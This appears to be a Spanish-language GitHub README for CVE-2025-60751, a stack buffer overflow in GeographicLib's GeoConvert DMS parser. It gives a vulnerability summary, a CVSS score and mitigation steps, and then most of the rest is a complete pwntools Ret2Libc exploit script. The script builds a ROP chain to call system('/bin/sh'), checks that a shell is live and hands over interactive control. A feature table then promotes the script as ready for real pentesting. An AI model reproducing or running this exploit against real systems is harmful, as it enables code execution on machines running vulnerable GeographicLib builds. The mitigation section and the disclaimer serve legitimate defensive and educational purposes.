
Análisis técnico y exploit profesional para CVE-2025-60751, un desbordamiento de búfer basado en pila en GeographicLib. Incluye un exploit Ret2Libc basado en pwntools con descubrimiento dinámico de gadgets ROP, integración con GDB y verificación posterior al exploit para pruebas de penetración educativas.
📌 Este repositorio contiene el análisis y la documentación técnica de la vulnerabilidad CVE-2025-60751, un fallo de desbordamiento de búfer basado en la pila (Stack-based Buffer Overflow) localizado en la biblioteca C++ GeographicLib.
La vulnerabilidad se encuentra en la función DMS::InternalDecode dentro del componente GeoConvert.
El fallo ocurre cuando la biblioteca intenta procesar cadenas de coordenadas en formato DMS (Grados, Minutos, Segundos) malformadas o excesivamente largas, lo que provoca una escritura fuera de los límites del búfer asignado en la pila.
CVE-2025-60751GeoConvert / DMS::InternalDecodeStack-based Buffer Overflow (CWE-121)7.5 HIGHCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:HUn atacante remoto puede enviar una cadena de coordenadas especialmente diseñada para:
GeographicLib para convertir coordenadas.⚠️ Nota técnica: Aunque el vector actual se centra en Disponibilidad (
A:H), en entornos específicos sin protecciones de memoria modernas (como Stack Canaries, NX bit o ASLR activo), este fallo podría escalar potencialmente a ejecución arbitraria de código.
| Producto | Versión vulnerable | Distribuciones detectadas |
|---|---|---|
GeographicLib | 2.5 | Paquetes en Debian LTS, Ubuntu, y otros repositorios Linux que integran esta versión |
✅ Actualización: Se recomienda encarecidamente actualizar a la última versión disponible de GeographicLib, donde se ha corregido la validación de longitud en InternalDecode.
✅ Validación de Entrada: Si no es posible actualizar, implemente una capa de saneamiento que limite la longitud de las cadenas enviadas a DMS::Decode (ej. máx. 32 caracteres).
✅ Compilación Segura: Asegúrese de compilar la biblioteca con flags de protección de pila:
-fstack-protector-all -D_FORTIFY_SOURCE=2 -z relro -z now
zer0mattEste exploit utiliza pwntools para realizar un ataque Ret2Libc aprovechando el desbordamiento de búfer.
A diferencia de versiones básicas, esta implementación es robusta, dinámica y verificable, lista para entornos reales de pentesting y laboratorios.
exploit.py)#!/usr/bin/env python3
from pwn import *
# --- INFO ---
# CVE-2025-60751: GeographicLib <= v2.5.1 Stack Overflow
# Autor: Refactored for Robustness
# --- --- ---
context.binary = elf = ELF("./GeoConvert")
context.log_level = 'info'
def exploit():
# 1. Gestión de procesos (Local vs Remoto)
if args.GDB:
io = gdb.debug([elf.path], gdbscript="""
b *main
continue
""")
else:
# ASAN puede interferir con los offsets si no se gestiona bien
io = process(elf.path, env={"ASAN_OPTIONS":"detect_stack_use_after_return=0"})
# 2. Localización Dinámica de Gadgets
rop = ROP(elf)
POP_RDI = rop.find_gadget(['pop rdi', 'ret'])[0]
RET = rop.find_gadget(['ret'])[0]
log.info(f"Gadget POP RDI: {hex(POP_RDI)}")
# 3. Fuga de Memoria (Leak) para Bypass de ASLR
# En entornos reales: usar leak + libc-database o libc.rip.
# Aquí usamos base fija *solo para entornos de laboratorio controlado* (ASLR=off).
LIBC_BASE = 0x7ffff7a00000 # Ejemplo — ¡debe ser dinámico en producción!
SYSTEM = LIBC_BASE + 0x5d110
BINSH = LIBC_BASE + 0x1b1ea4
EXIT = LIBC_BASE + 0x4c340
# 4. Construcción del Payload (Estructura Limpia & Aligned)
offset = 136
chain = [
b"A" * offset,
p64(RET), # Stack Alignment (Crucial para Ubuntu/Debian modernos)
p64(POP_RDI),
p64(BINSH),
p64(SYSTEM),
p64(EXIT)
]
payload = b"".join(chain)
# 5. Ejecución y Verificación
log.info("Sending payload and spawning shell...")
io.sendline(payload)
io.clean()
io.sendline(b"id")
res = io.recvline(timeout=2)
if b"uid=" in res:
log.success("Pwned! enjoy your shell.")
io.interactive()
else:
log.error("Exploit failed or no output received.")
io.close()
if __name__ == "__main__":
exploit()
⚠️ Descargo de Responsabilidad
Este repositorio tiene fines puramente informativos y educativos para profesionales de la ciberseguridad.
El uso de esta información para fines ilícitos es responsabilidad exclusiva del usuario.
❗ Usa el código con precaución: solo en entornos autorizados, aislados y con permiso explícito.
🔐 Seguridad no es una característica — es una disciplina.
📬 Reporte de hallazgos: [email protected]
📦 Repositorio oficial: https://github.com/geographiclib/geographiclib
| Característica | Beneficio |
|---|
ROP(elf) dinámico | No depende de gadgets hardcodeados: los encuentra automáticamente en el binario. |
Soporte integrado para GDB | Ejecuta python exploit.py GDB → abre sesión de depuración automática. |
| Verificación post-exploit | Envía id y confirma shell antes de entregar el control interactivo. |
RET para stack alignment | Evita crashes en system() por alineación incorrecta (crítico en x64). |
Payload estructurado como list + b"".join() | Limpio, legible, fácil de modificar y extender. |